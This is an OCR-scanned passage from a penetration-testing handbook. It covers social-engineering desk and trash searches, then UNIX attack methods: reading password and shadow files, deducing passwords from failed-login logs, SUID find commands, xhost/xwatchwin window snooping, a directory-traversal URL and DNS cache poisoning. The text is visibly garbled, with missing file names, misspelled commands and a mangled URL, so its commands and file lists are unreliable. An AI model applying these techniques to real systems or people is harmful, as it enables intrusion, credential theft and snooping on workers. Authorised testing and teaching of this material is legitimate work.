However, the accounts and access privileges are often still valid.

We strongly recommend using caution when going through the trash. Trash can contain
sharp objects, caustic chemicals, rotten food, and other unhealthy and potentially
dangerous items. If you are going to perform dumpster diving, wear proper protective
equipment; latex surgical gloves underneath thick, heavy-duty work gloves are
recommended. However, even these two layers of protection may not be enough to guard
against a hypodermic needle. Use caution.



If the organization recycles office paper, you will often find the most useful information
there and can avoid the unsanitary conditions of general trash. As for where to dump the
trash, please do not dump the contents of the trash receptacle onto your own or a
colleague's desktop. Instead, spread a sheet of plastic on a flat surface, dump the trash on
the plastic, conduct your examination, and when finished, wrap up the plastic and discard it
again. Going through the trash can be done on a user-by-user basis by collecting individual
trash receptacles or on a far larger scale by attacking dumpsters and recycle bins that
serve entire divisions or even whole companies.
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8.3 Desktop Information

A user's workspace can also provide a cornucopia of information, and sorting through the
workspace is usually more sanitary then the user's trash can. Sticky notes are again a
prime target. These notes often carry valuable information and are generally stuck to easily
visible surfaces. However, documents and user files are also susceptible. Often, even
employees who conscientiously shred critical documents during the proofreading stage
leave current versions on their desktop or in an unlocked drawer thinking they'll be safe as
long as no one knows the documents are there.

Users often leave their computers without engaging their screen saver or cable lock. This
allows a hacker to use the employee's computer and the network with all the user's
permissions and access rights. Some employees think they are safe because all their
applications need passwords; however, the computer's cache file often has all recently
used passwords, Web sites visited, cookies, and anything else the hacker needs to exploit
the user's network access. This is a major reason why systems should not be allowed to
cache such information. Without a cable lock, it may be possible for someone to merely
walk off with the computer, especially when all computers and laptops look alike and rarely
have discriminating features on the surface.

Evaluating the security posture of your coworker's desktop is a more sensitive matter than
the trash. Desktop social engineering should be done during the day while the employees
are in the office but away from their desks. You want to catch people while their desk
drawers and file cabinets are open and papers are spread out.

There are many approaches to this. Walk around the office space and find out which
people do not lock their desks when leaving for lunch or meetings. They are prime targets.
See who takes long coffee breaks. Also, find out which employees never lock their desks,
leaving their files and possessions always vulnerable to prying eyes and hands. It is worth
visiting the selected targets' offices or cubicles before going back to gather information in
order to case out the workspace. Identify where they keep their papers and sticky notes.
See if you can already spot a posted password. ldentify any lockable drawers left unlocked.
When reviewing an office space, keep a lookout for any video surveillance camera in use.
In such a case, it is not good to sit at the employee's desk or to take any sticky notes or
papers. Survey the workspace from a distance, or stand as if you are waiting for the
employee to return. Just be ready with a believable cover story in case your presence is
questioned.



Once you are familiar with the targets' spaces, go back when they are not around and
quickly go through your target list, collecting information. If you feel they may not miss a
particular document for a while, borrow it to photocopy and return. Take the copy home
and read it at your leisure.

Perhaps more so than in computer penetration, social engineering attempts, especially
desktop hacking, raise significant legal, ethical, and privacy issues. To guard yourself,
ensure that you have your client's support (the “Get Out of Jail Free Card”) in writing before
beginning any such activity.
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8.4 Common Countermeasures

There are countermeasures that a corporation can implement to guard against social
engineering. Since social engineering over the telephone is not a technical exploit,
defenses against such attacks will mainly be to prepare staff to recognize and resist them.
Security awareness training and constant reminders are key to defending against social
engineering attacks. Staff should be trained to never give out confidential personal or
account information unless they are absolutely certain they are giving it to members of
technical support who have a demonstrable need for the information. Also, standard
operating procedures for customer service should include provisions for verifying caller
identity before performing critical operations such as resetting accounts. In addition, all
employees should be trained to report suspicious inquires to a company's security staff.
The security staff may be able to determine through these reports that the company is
being targeted for social engineering and send out warnings to all personnel.

Concerning dumpster diving, the firm should have a strict policy of shredding all paper
documents regardless of their sensitivity; this will restrict the amount of information you can
gather. Security awareness training should stress the importance of shredding sensitive
information. While it is possible to reconstruct shredded documents, it is something of a
hassle. However, sticky notes are rarely shredded and remain a valuable source of
potentially compromising information.

As in the Oracle/Microsoft case, the trash collection work may be outsourced to a trash
collection agency. Therefore, the organization will have to look at risk from that outsourcing
partner.

Concerning snooping around an employee's workspace, video surveillance cameras can
help discourage this activity. However, employees may not want to be monitored while at
work. It is important for employees to keep an eye out for and report to physical security
any unusual behavior or extra-observant individuals in the office space.
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Chapter 9. UNIX Methods

In this chapter, we discuss some of the holes and vulnerabilities we look for when
performing penetration testing against the UNIX operating system, including applications
and configuration issues through which we have been able to gain unauthorized access.
We further discuss the tools we use when analyzing and attacking UNIX hosts and
networks.

The general method of hacking UNIX machines is to identify vulnerabilities in listening
services, such as telnet, FTP, HTTP, and so on, that can be exploited remotely to gain
some level of access (root is preferable, but these strategies generally result in normal
user-level access). Then, we investigate the host system, looking for means of escalating
our privilege level—usually by exploiting vulnerabilities in applications, UNIX-specific holes,
or system misconfigurations. Once local access is obtained, even user access, local
exploits can be used against the system in attempts to elevate privileges to root.

Local exploits, as the name suggests, are those that can be successfully launched only
from within the system. This does not necessarily imply that you must launch these
exploits while in front of a machine within the network. They can be run from a remote
machine, with an open shell to the target. Remote exploits, on the other hand, are
generally launched from one machine and targeted to another, such as brute force
password guessing.

One early note here is the importance of exploiting listening services. If a UNIX box has
closed all 65535 ports and there are no listening services running, there will be no way to
gain remote access of any kind to that machine. You will have to have physical access to
do any damage. However, it is unusual that we find a UNIX system with all ports closed
since the system would not be able to communicate with any other system.

Once you get user-level access to a UNIX box, remotely or locally, there are numerous
ways to pursue gaining root privileges. We discuss some popular means, such as creating
local buffer overflows; exploiting files with SUID, SGID, and world-writable permission
settings; and attacking vulnerable applications, such as the ever-popular sendmail.

Note that there exists a great deal of similarities among variants of the UNIX operating
system, but the sheer number of variants does allow for a large number of differences as
well. We stay generic in our treatment of UNIX and speak on issues that are relevant to



UNIX overall. Our methodology applies to any UNIX system, and the tools we use work on
most flavors. However, to avoid compatibility issues, we perform all of our penetration
testing from the Linux environment.

Exploits, on the other hand, are more specific. For this reason, when performing
penetration testing on UNIX hosts, the first thing we do is determine the type (flavor),
version, and patch level. For example, different architectures deal with the TCP stack
differently, and scripts intended to cause buffer overflows must be adapted. The process of
porting an exploit from Linux to OpenBSD, for example, is not without its own difficulties.
One large obstacle is having the specific system on which to test the code as you port it.
With so many different flavors, no one can be expected to have them all. In addition,
because of the differences in the flavors, many exploits specific to one type will be difficult
to port to another. Therefore, it is important to quickly identify what flavor you are up
against so that you can collect appropriate exploits.

One final note: It must be stressed that a comprehensive list of all such vulnerabilities and
potential exploits is not included here. New vulnerabilities are discovered on a daily basis.
We indicate a process through which you could proceed while highlighting exploits that
have worked for us in the past.
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9.1 UNIX Services

When you have identified a particular UNIX host as your target, and have, through
footprinting, determined the type, version, and patch level as well as the list of open ports
and active listening services, you are ready to develop your penetration-testing strategy.
The strategy generally is, as mentioned previously, to exploit a listening service to gain
remote access, followed by attempts to raise your privilege level to the end goal of gaining
root. It is entirely possible that you will be able to remotely execute an attack that directly
gives you a root shell.

Among the listening services we examine are those started at boot by the file.
These can include finger, echo, telnet, FTP, and SNMP services that run on well-known
ports, as well as r services, such as rexec, rstatd, rquotad, and so on.

9.1.1 inetd Services

Inetd services do offer windows of opportunity to compromise a network and should not be
overlooked because they are “common” services. Common services are usually under
more intense scrutiny for vulnerabilities. It is possible that the administrator has not yet had
the opportunity to implement secure versions of these services. Even if the services have
been secured, it may still be possible to use these services to either compromise the
system directly (connecting to systems through user accounts with weak passwords using
telnet or FTP) or to gather information that can be used to compromise the network (such
as SNMP information or user information through finger).

For example, one of the first things we attempt to do is connect to any listening service
either through Netcat or its usual communications channel. In other words, we use telnet,
FTP, and SSH from the command line to connect to ports 23, 21, and 22, respectively. At
this point, we attempt to access only generic accounts, such as root, guest, and test, or
default accounts for applications such as webmaster, oracle, or maestro. If we attempt to
log in with manufactured or made-up user names, we increase the chance of drawing
unwanted attention to ourselves.

If we are able to get in through any of these listening services, we then attempt to read
critical system files, such as the password or shadow password files (generally

and , respectively) to get the list of valid user accounts. These password files
may require root access, especially the file. We may not be able to read the



shadow password file, but we can identify whether it exists; and therefore, we will know
whether the passwords are shadowed. If we can capture these files, we can work on
cracking the passwords offline with the aid of a UNIX ?assword-cracking tool, such as John

the Ripper or Crack. (These tools are described in Chapter 15.) If the shadow password file
Is used and we can access only the /etc/passwd file, we can at least determine the users

on the system. We also attempt to look for log files and core dump files.

In addition to password files, we examine configuration files (given our time constraints) to
determine what the host is doing and which services are running. The names of the files
may well be different on different UNIX flavors, but [Table 9-1f contains a general list of
some of the files we look for.

The .rhosts file lists the user names and the host machines from which they can access r

services, including rlogin, rcp, and rsh, on the local host. The cron and At files tell us what,
if anything, is being performed on a regular and automatic basis. The /etc/.login file tells us
what actions are performed when a user logs into the host. The /etc/.profile file defines the

individual user profile. These files can be found within each user's home directory. The
/etc/shells file lists all available shells. The /etc/securetty file indicates to which TTY device
the root user can log in.

The /etc/hosts.equiv file lists remote hosts and users that are trusted on the local host,

meaning that they can access the local host without a password. This file is of the form:

hostname username

A + sign in either space acts as a wild card meaning, essentially, “any.” In other words, a
line in the file such as the following:

hostname +
Table 9-1. Common Names for UNIX Configuration Files
File Name File Name
.rhosts /etc/services
cron.allow /etc/inetd.conf
cron.deny /etc/hosts.deny
At.allow /etc/hosts.allow




At.deny /etc/dialups
crontabs /etc/exports
Tabs /etc/netgroup
Cron letclttys
/etc/.login /etc/gettytab
letc/.profile /etc/termcap
/etc/group /etc/default/audit
/etc/shells letc/dfs/dfstab
letcl.cshrc /usr/fadm/sulog
letc/securetty /usr/adm/lastlog
letc/hosts.equiv

means any user on the specified remote host is trusted on the local host. Also, the listing:

+ username

means the specified user is trusted from any host in the domain. Needless to say, care
must be taken when writing this file. It can often be a source of great vulnerability since it
potentially allows users to bypass the password authentication mechanisms in place. This
file is similar to the .rhosts file, except the /etc/hosts.equiv file operates on a domain-level
basis and .rhosts on a user-level basis. Each user can have an .rhosts file within his or her
home directory.

The /etc/inetd.conf file lists a majority of the services and applications that are running and
automatically started by the host. It is useful to compare this file with the results of a port
scan. If an open port for a well-known service is running but that service has been
commented out of the inetd.conf file, then a rogue service may be running on that port.

The /etc/hosts.allow file lists the names of all hosts allowed to use the local inet services.
Similarly, the /etc/hosts.deny file lists hosts explicitly denied this privilege.

The /etc/dialups file is a listing of the terminal devices that require password authentication
(separate from the normal user password authentication) before granting a modem
connection. Naturally, this applies to boxes on which modems are listening for incoming
connections. The passwords may be stored in the /etc/d _passwd file and should be
different from the user passwords stored in /etc/password.



The /etc/exports file lists all directories exported by Network File System (NFS). If any
directories are being exported, and if NFS is in use, we try to connect to and peruse any
exported directories, as discussed below. The /etc/netgroup file offers hints to permissions
in place on the network. It is a listing of network-wide groups and their membership and
can be valuable for determining which users have access to what domains and machines.

The /etc/default/audit file contains some default parameters regarding auditing on the local
host.

We also attempt to look for log files, such as /usr/adm/sulog and /usr/adm/lastlog. There
may be a large collection of log files on UNIX systems, anything from logs of failed
passwords to logs regarding the boot process. These are stored in various places on
various UNIX flavors, so we generally run the find command to identify all files with “log” in
the file name. Log files can also be stored by the date; therefore, searching for file names
containing the current day of the month (either numerical or the word) can reveal the most
recent logs.

The purpose of reading the logs is to get a sense of what the system is doing.
Occasionally, you may be able to find a log of failed login attempts, including the incorrect
password. Even failed password attempts can be helpful since they likely contain failed
passwords that were merely mistyped by one or two characters. Seeing such failed

password strings can often reveal the real password. For example, try to determine the
correct password for each of the failed passwords shown in ﬂ

The correct passwords are, in order, redskins, Yellowstone, tr@demark, kNOckNOck,
HOCKEY1, and zak_987. Sometimes passwords are quite simple to ascertain from the
failed passwords, as in tr2demark, where the number 2 was intended to be the @ sign.
Other common mistakes are to forget to capitalize certain or all letters, as in HOCKEY1. In
addition, holding down the shift key for one letter too many often causes overcapitalization
or turns numbers into the special characters that are on top of them, as in KNOckNOck.



Table 9-2. Sample Failed Password Attempts

Failed Password

rewdskins

yellogatone

tr2zdemark
Kn)ckN)ck

hockeyl
Zak987

We also look for core dump files on target hosts. These files can be found by searching for
files with “core” in the name (often, the name is simply “core”). Leaving core dump files on
hosts also presents a possible vulnerability. These files are usually generated when a
segmentation fault occurs during normal system usage that results in memory being written
to a file (for example, the core being dumped), or during buffer overflows as well as other
attacks on the network. The FTP PASV attack is an example of an attack that can lead to a
core dump. By remotely executing the PASV command, it is possible to have the FTP
service open ports on the firewall for inbound or two-way communication. Additionally, this
can be used to create a denial-of-service condition by continually requesting that ports be
opened when there are no additional ports to open. In this process, core files can be
created on the target system.

Core files contain whatever is in system memory at the time the file is generated. Looking
through these files may reveal password hashes and other sensitive information (including
IP addresses of other hosts on the network), indicate a partial listing of services and
applications running, and illuminate the directory structure (often the path to log files and
other configuration files is identified).

Core files can also be located anywhere on the system, and we search for these with the
find command as well. Core files are very long, and there may be a relatively large number
of them on a system. Looking through these does require a time commitment. We
generally take a first pass at these files with the UNIX strings command and take a closer
look at any that appear more promising.

As a countermeasure, core files should be removed from the network as soon as possible.
It may even be possible to limit their creation through the ulimit command. To preserve
these files offline, consider keeping them in a tar file off the network.

We may also look at personal files and read the user's e-mail. However, the amount we
peruse a user's file system depends on the policy we sign with the client and the need for



network access types of information.

If UDP port 161 is open, we can attempt SNMP queries in order to gather SNMP
information. This can be done from the command line (for example, with the snmpwalk
command) or with automated tools (for example, NetScanTools by Northwest Performance
Software, IP Network Browser, and SNMP Brute Force Attack from SolarwWinds). SNMP
Brute Force Attack has the advantage that it can brute force the community strings. SNMP
may yield read or write access. With read access we can determine the hosts and
applications running on the target network. With write access, it is possible to manipulate
this information and possibly confuse machines on the target network. While penetration
testing, we do not change SNMP information since it could make the target unusable. For
example, changing an IP address or route on a remote machine could make it
unreachable.

If TCP port 25 is open, it generally signals the presence of sendmail or another e-mail
server. Similarly, if HTTP port 80 is open, a Web server may also be running. (Ways to

compromise these servers are discussed in [Section 9.4].)

As a side note, while it is possible to stumble across a system in which the root password
Is “root” (or another easy-to-guess password, such as a derivation of the host name or
company name), this is becoming less and less likely. In many cases, root is not permitted
to log in remotely and can only log in from the workstation itself. In other cases
(recommended), root is not permitted to log in at all. The root-level users must log in to
their own accounts and then su to root. This grants them root privileges while allowing a
record to be kept of who accessed root and at what time.

9.1.2 R Services

Remote services, or r services, are also started by the /etc/inetd.conf file and are also
frequent targets of attack. r services, including rexec, rwhod, rshd, and rlogin, sport their
fair share of exploits. rlogin, a SUID root program, has been famous for poor programming
that leaves it susceptible to a buffer overflow condition, either allowing the attacker (here
the individual calling the rlogin service) to execute arbitrary code as root on the target
system or giving the attacker a root shell directly. One such code distributed over the
Internet, called rlogin-exploit.c, overflows the gethostbyname() buffer, resulting in a root
shell being generated. This particular exploit has been coded for instances of rlogin
running on Solaris 2.5/2.5.1.

r services can be disabled by commenting them out of the inetd.conf file on most UNIX



flavors. Many of these services are installed by default and simply need to be commented
out if they are not going to be used.

This raises the question: why are these r services installed in the first place? Originally, as
networks and networking concepts in general were being developed, developers
envisioned several potential uses for this functionality. At that time, security was not a
significant concern. Today, the risks are generally greater than the potential benefits. The
functionality can usually be replaced with other similar yet more secure alternatives. For
example, rlogin was a tool designed to allow users to remotely log in to hosts across a
network (and potentially without a password if the user is known on the remote host). In
addition, rlogin passes data over the network in clear text, so it is not recommended from a
security perspective. rlogin (as well as telnet) functionality can be replaced with the more
secure SSH. SSH allows users to log in to other hosts with a password and encrypts the
traffic.

Other r services provide functionality that simply may not be necessary. For example, rsh
opens a remote shell on the local host and allows users to execute commands on that
remote host. This is undesirable from a security perspective.

9.1.3 Remote Procedure Call Services

UNIX systems can also have a collection of Remote Procedure Call (RPC) services for
which several holes exist and additional holes are found on a regular basis. For example,
the rpc.ypupdated service performs insufficient user authentication and may allow remote
users to execute commands as root on susceptible target hosts. The rpc.ttdbserverd
service allows remote users to exploit a buffer overflow condition in the ToolTalk database
and either escalate privileges or gain unauthorized access.

The rpc.mountd service has been found vulnerable to several buffer overflows and also
may allow remote users to map the target directory structure. Mountd is the server for the
NFS service that is common on most UNIX systems. NFS is an RPC service that provides
the capability to export file systems across the network and is a popular hacker target.
When we find NFS running on a target host, we attempt to mount any exported directories.
It is not uncommon to find sensitive directories, or even the /" directory, that is, the entire
directory structure, exported to everyone. This allows anyone who can connect to the host
to view any file on the system, depending on the file permission settings. Mounting
exported directories can be done from the command line, as well as with the nfsshell tool

discussed in Section 9.4.



In addition to taking advantage of any user misconfigurations in NFS, there are a host of
exploits available as well. For example, on Red Hat Linux version 4.x or 5.x with read/write
access to an exported directory, it is possible to cause an overflow in the buffer associated
with the path name to the directory upon removing the directory. Therefore, the process is
to first create a directory with a very long name and then attempt to remove it through NFS
(for example, over FTP). If successful, the attacker could cause arbitrary commands to be
executed as the user under which NFS runs (likely, root). This is essentially a
bounds-checking error that can result in root access.

There are sufficient vulnerabilities identified with NFS that make it better to simply disable
it. Since NFS is generally started by the file or an rc script, disabling it involves
commenting it from the appropriate source. If it must be used, it's important to ensure that
only necessary directories are exported and with the correct permissions. Further, the
users to whom the directories are exported should be listed by fully qualified host names to
help avoid misidentification. These settings generally appear in the file.

Additional RPC vulnerabilities include the remote exploits for designed to
create a root shell on a specific port (530). This exploit is more specifically designed for the
BSD OS. Of lesser direct consequence is the vulnerability in rpc.statd allowing remote
attackers to place Trojans on the target system. Rpc.statd can also allow hackers to delete
files that require root level permission to delete. Exploit code for these and other RPC
services can easily be found on numerous sites throughout the Internet. The most effective
countermeasure is to comment these services out in the file and block all
unnecessary ports at the firewall.
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9.2 Buffer Overflow Attacks

Buffer overflow attacks, also called data-driven attacks, can be run remotely to gain access
and locally to escalate privileges. Buffer overflows in general are designed almost
exclusively for UNIX because in order to write a successful buffer overflow, knowledge of
the workings of the OS, specifically treatment of the TCP stack, or the target application's
memory/buffer-handling processes is necessary. While there are buffer overflows for
Windows and Windows-based applications such as the 1IS Web server, they are more
common on the UNIX environment. UNIX source code is generally available, whereas
source code to Microsoft operating systems is generally not. This allows anyone interested
to study and gain the knowledge needed to create buffer overflows for UNIX.

A buffer overflow attack attempts to force the target host to change the flow of execution
and execute code the attacker specifies. This is done by forcing the target to place so
much data into the finite-capacity target buffer that it overflows (with data). This generally
stalls or crashes the application through which data was loaded. The point is to redirect the
kernel's pointer (which points to the next command to be executed) to a portion of that
excessive data the hacker wants to have executed. This portion of data is called an egg. A
buffer overflow is challenging to write, in part because it is OS and architecture specific.

(1] For more specific information regarding the creation of a buffer overflow, refer to the landmark paper

on this topic by Alephl, “Smashing the Stack for Fun and Profit” in Phrack 49, available on the Web at
d.

These buffer overflows generally only need to be downloaded onto the target system,
compiled, and executed. You do not necessarily have to have root privileges to
successfully run them. The hard part in performing these attacks is to find a buffer overflow
that will work against your particular target. As mentioned, these attacks are OS and
architecture specific. Further, if you are launching against a particular application or
service, the version and patch level must be taken into consideration. The exploit code
mentioned earlier that overflows the buffer of the rlogin service on Solaris
2.5.1 is not likely to work on the HPUX OS or even more current versions of Solaris.

Buffer overflow attacks are dangerous and effective. If you compile and launch a particular
buffer overflow attack against a susceptible target (server, service, or application), it may
need a bit of tweaking, but it will likely work. Use such exploits only when you are fully
aware of what they are doing and all potential consequences. Further, any experimentation
should be done only on machines that are under your own control. Buffer overflows can
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9.3 File Permissions

When trying to escalate privileges, hackers often look for files with inadequate permissions.
File permissions in UNIX must be set carefully, a point most UNIX administrators,
unfortunately, do not recognize or do not have the time to correctly implement and enforce.
Something in particular we look for while performing penetration testing on UNIX systems
are SUID and SGID files. These are generally applications that, when run, execute at
whatever permissions they have (generally root) regardless of the user's permission level.
The purpose of SUID and SGID files is to allow normal users limited access to kernel-level
processes without having to give those users root-level permissions. For example, the
program UNIX-to-UNIX Copy (UUCP, a well-known vulnerable program we discuss below)
is SUID root.

However, as a consequence of such files, users have access to the system kernel and
may be able to exploit this to compromise the network. Users can possibly Trojan these
programs to execute their own code along with the expected system process. These
program files can be Trojaned by replacing or overwriting them with files of the same name
that incorporate both the original code and the hacker's code. Additionally, hackers have
been known to leave Trojaned versions of SUID programs under file names that are
common misspellings of the intended service, for example, leaving a file named in the
same directory as the file. It is fairly easy to mistype the word eject and leave out the

second e. Doing so generally only raises an error message, but if such a Trojan file exists,
it will be executed. If this happens, the host will execute the hacker's code as root along
with ejecting the CD-ROM, so the user may not notice anything.

One note here: We generally do not tamper with system (or any other) files residing on the
target hosts to the point of editing them. These are generally vulnerabilities that we point
out to our clients. If we are able to obtain write access to the file system, we may be able to
leave files on the system that will in time yield high-level access and compromise of the
target host and perhaps beyond.

In addition to Trojaning these files, there are many exploits that are written to take
advantage of individual SUID or SGID files. These exploits take advantage of the root
access that these programs have and generally cause them to provide a root shell, thus
elevating the user's privilege to root.

These SUID and SGID exploits aim to have the hacker's code executed as root on the



target system. The exploits themselves can be either buffer overflows or an exploitation of
string- or argument-parsing bugs with the target file. For example, a buffer overflow exploit
has been coded for eject, called eject.c, and has been ported to a variety of UNIX
operating systems. Argument- and string-parsing errors within the traceroute function have
been coded separately that have the effect of allowing local users to execute commands
as root. In addition, the trace_shell.c exploit causes a buffer overflow condition in
traceroute function on Red Hat 5.0.

UNIX-to-UNIX Copy is a SUID root program that allows the copying of files across UNIX
systems. Its benefits, however, have been greatly surpassed by the risks it introduces. As
such, it is not usually found to be in use except on default installs of UNIX systems. As a
SUID root program, in addition to being susceptible to buffer overflow attacks, UUCP can
also offer a hacker root access through insufficient bounds checking (detected on various
versions, including OpenBSD 2.1 and 2.2, NetBSD 1.3 and 1.3.1, Solaris 2.2, 2.3, 2.4, and
2.5.1, and others). Here again, it is generally recommended to disable this program in
inetd.conf.

Xterm, the terminal emulator that is a part of most UNIX distributions, is also an SUID
program. There is a collection of buffer overflows that can grant users root access on the
local system. The Xterm color buffer overflow is one such exploit. This buffer overflow is
run locally on the target system to elevate the attacker's privilege level to root.

An SUID file can be identified by reading its permissions string (with the Is -| command). In

the permission string, the first character features an s to indicate the file is SUID. This is
called, appropriately, the SUID bit. The find command can identify all SUID files at once
through a command similar to the following:

# find / -perm +4000

The exact command will depend on the UNIX install.

SGID files can be identified with the following find command:

# find / -perm +2000

SGID files have a S (uppercase) in their permission string in place of the lowercase s used
in SUID files. (The “4000” and “2000” are the octal representations of SUID and SGID
UNIX permissions, respectively.)



We recommend limiting the exposure to the risks of such files by limiting the number of
such files. A review of all SUID and SGID root files should be performed to ensure that
your system has only those that are essential. Additionally, for those that are essential, we
recommend ensuring they are not world or group writable. Further, make these files belong
to their own (nonroot) group.

World-writable files are even more common targets for Trojans, given that they can be
read, written, or executed by anyone, whereas several SUID and SGID files often have
more restrictive permissions. In other words, anyone can overwrite world-writable files and
replace them with another file (similar to the case discussed previously with SUID root
files). These other files can activate hidden software along with the functions of the original
file so the user does not notice anything out of the ordinary.

Again, the hidden software can be almost anything, for example, installing a back door on
the machine, copying the root password, writing text to the host's monitor, launching a
denial-of-service attack, sending a terminal window to a remote host, or perhaps disabling
system auditing.

World-writable files should also be limited to only those that require this permission level. It
makes sense to periodically identify all such files on a system and compare them to a
default list to ensure there are no unnecessary additions. This does imply performing a
baseline audit to determine which files need to be world writable. The painstaking nature of
such a task contributes to the fact that it is rarely performed.
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9.4 Applications

Applications are good targets for both elevating privilege level and gaining unauthorized
access in the first place. Once we have determined the applications (including version
numbers and patch levels) that are running on our target, we identify known vulnerabilities
within these applications and download any existing source code for potential exploits to
test in our labs before using on clients. We are interested in both remote attacks (to gain
access) and local attacks (to elevate our privileges). While any application is a potential
source of our attention, in this section we focus on certain applications, including mail
servers, Web servers, X Windows, and DNS servers.

9.4.1 Mail Servers

The sendmail mail server has a history of revisions specifically to fix security flaws.
Sendmail runs over TCP port 25 and has been ported to virtually all UNIX systems.

It is possible to spoof e-mail using simple telnet, for example:

This is the technique for using the mail-relaying capabilities of a sendmail server. In the
past, an overwhelming percentage of sendmail servers allowed anonymous mail relaying.
Today several still do. Anonymous mail relaying will not necessarily allow anyone to
compromise your system; however, it allows unauthorized usage of your resources (mail
server) and can mislead the recipient as the mail is not actually coming from the listed
sender. Several tools can be used to check sendmail servers to see if anonymous mail
relaying is enabled, including Sam Spade and commercial scanners such as Cybercop and
ISS. We also attempt manual checks so that, if it is enabled, we can send our clients an
e-mail using their own server to illustrate the point.



As an example of the harm that can be caused by allowing anonymous mail relaying,
consider the instance of a reputed bank that had a mail server within its DMZ that allowed
anonymous mail relaying. Some tech-savvy individuals discovered this configuration flaw
and began sending e-mails to potential investors recommending an investment in South
America. They specified the source of the e-mail as being a representative of the bank
itself. From the recipient's perspective, this appeared to be a legitimate investment
opportunity. Each received an e-mail from a banker, through the bank's own network,
discussing an investment opportunity. Without revealing the number of people who
invested, or how much they lost, it is clear the potential here is alarming. (Additionally,
there were other elements of the scam, such as telephone operators who could explain the
details of the “investment opportunity,” especially how to invest.)

The bank was not directly responsible for the scam nor for the money the investors lost,
but it did play a hand in its execution. Its machines were used to send the e-mails; its
brand name and reputation were used to con the investors. One can imagine the public
relations nightmare that grew out of this. Anonymous mail relaying is among the most
benign of sendmail hacks. There is quite a list of vulnerabilities and exploits for each
version of the application. Any database of known UNIX vulnerabilities lists them. More
dangerous hacks involve exploiting bugs within the program to offer a root shell or to cause
a denial-of-service condition within the application and possibly its server. For instance, a
bug has been discovered in the SMTP daemon within sendmail versions 8.7—8.8.2 that can
be used to leave a root shell in the /tmp directory. An exploit for this bug has been coded
for the FreeBSD and Linux operating systems.

During our penetration testing, this is definitely a target on which we focus our attention.
This application's reputation has become so bad that when we come across a client with
sendmail, our recommendation is to simply remove it. If clients truly want to keep sendmail
over other e-mail applications, they should strictly ensure they are always using the latest
patch.

Other e-mail servers have vulnerabilities as well. The Pine e-mail application, for example,
has its share of known bugs, including denial-of-service and buffer overflow exploits. For
example, Pine versions 3.91 and 3.92 can allow users to overwrite files in their home
directory by opening attachments to an e-mail address and saving it with whatever file
name they choose, regardless of the file permissions in place.

9.4.2 Web Servers

One of the first things we do when we identify a Web server on a target host is to peruse



the hosted Web site itself. There may be a Members Only area or a Web-based e-mail
service with weak or no password to which we can gain access. We also check the
document source (of a sample of the Web pages) to see if we can gain insight into the
directory structure or find any comments that contain helpful information.

On the UNIX OS, the Web servers in use are typically either the Netscape Enterprise
Server or the Apache Web server. While Microsoft's 1IS Web server product steals a
majority of the headlines relating to compromised or insecure Web servers, there are
vulnerabilities within these other two applications that are worth exploiting and can offer
unauthorized access.

Versions of both Web servers have been known to reveal the contents of all files residing
on the server (as 1S does through its Showcode.asp vulnerability). In default installs of
Netscape Enterprise Server, appending “?PageServices” to the URL has been known to
allow the user to view and traverse the directory structure. With a specifically crafted URL
and PHP3 (an HTML scripting language) running on the server, Apache can reveal the
contents of a requested file to the attacker. A sample URL is:

@://www.targetdomain.com/index.QhQS.%Sc../. .%5cconf/httpd.cont

Our first step is to run the Whisker.pl tool against Web servers to identify any potential
bugs in the Web server and its associated files, primarily its CGI scripts. (Whisker is

covered in depth in Chaéter li.) We also check to see whether the Web server is running
as root. If this is the case, any commands that we may be able to get the Web server to
execute will be run as root. If the Web server accepts user input, through either a form or
the URL, it may be possible to overflow one of the buffers allocated to accept user input
and thus have the Web server execute our code (this is a typical buffer overflow, in which
the user-supplied egg is executed). This error is generally due to inadequate bounds
checking wherever user input is accepted.

As countermeasures to these exploits, we strongly recommend to our clients to have their
Web server code reviewed to ensure such holes do not exist. In addition, running the Web
server as its own (nonroot) group somewhat minimizes the risk since commands will then

not be run as root.

The error mentioned above, inadequate bounds checking on user-supplied input, is
common to various e-mail and Web servers. Often, when user input is requested, the
length of that input is approximated (or guessed) by the software or application developer,
and a buffer of sufficient length for this approximation is created, thinking it will suffice for
all likely input. For example, if a file name is requested, the developer may think that 128


http://www.targetdomain.com/_255cconf/httpd.conf

bytes will cover most file names and therefore may allocate a buffer of 256 bytes to be
safe. That part is acceptable. The error happens when longer input is not truncated so that,
in this example, only the first 256 bytes are used when longer input is supplied. Instead,
attempts are made to stuff the entire user input into the buffer. The buffer then overflows,
which leads to the problems mentioned, including the execution of the hacker's code.

Common buffer overflows for specific Web servers' versions can be found on various

Internet vulnerability databases, several of which are identified in [Chapter 24.

9.4.3 X Windows

Another popular UNIX application is X Windows. This is the application that provides the
Windows-style GUI on UNIX systems. It is, perhaps, the best of both worlds, offering the
user-friendliness and graphical displays of the Windows environment with the power of the
UNIX command line (through an X terminal, or Xterm). Though X Windows may not seem
a usual target for exploitation, there is a list of vulnerabilities that we do take the time to
investigate.

We often try to export an open window on a target host to see what the target is doing.
This can be done by modifying the display environment variable on the target host so that it
can export a GUI to another host, accomplished by using the following command:

# xhost ++

This allows any host (each + is a wild card that stands for an IP address) to connect to the
X server running on the target host. Once this is done, we can view windows open on the
target by the following commands:

# xIswins —display hostname:0.0

This command returns a listing of all open windows and their hexadecimal IDs. With this
hex ID, we can watch the corresponding window on our own machine with:

# xwatchwin hostname —w hexID

This requires that the X server is running on the target host and that we are able to modify
its access control permissions (by entering the xhost ++ command as above). The



existence of a running X server can be detected by finding ports 6000—-6009 open. This can
be done by any port scanner, including Nmap, as well as the XSCAN tool. XSCAN
attempts to connect to port 6000 to verify that an X server is running. A further interesting
feature of XSCAN is that it will begin a keystroke capture of any host to which it is able to

connect. Keystroke capture is a great way to capture user passwords. (XSCAN is
discussed in .)

9.4.4 DNS Servers

The DNS provides the mapping between host names or URLS such as pwww.yahoo.com

and IP addresses, or the integer string of the form a.b.c.d, that routers can use to map
traffic across a network or the Internet. Zone transfer queries are generally the first thing
we attempt to perform when we find a DNS server. (These queries are discussed in
Ehaéter 5

)

However, additional DNS vulnerabilities exist. DNS requests are cached on the premise
that a request may be made more than once. This cache can be poisoned to redirect traffic
from its intended destination to another machine. This is often done to redirect Web traffic
from an intended site to a copycat site of your own creation. For example, redirecting traffic
destined for a site that requests user names and passwords, such as Internet e-mail
providers or financial stock trading sites, to a Web server with a nearly identical splash
page can allow you to generate a list of user names and passwords. This can even be
done without the user having any knowledge if the connection, along with the credentials,
Is ultimately passed to the intended site. Once even a few user name and password pairs
are generated, it is likely that you will have found some valid passwords on the target
network.

Defenses against DNS attacks are to ensure that the latest version is being run and to use
IP addresses and not host names for authentication.
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9.5 Misconfigurations

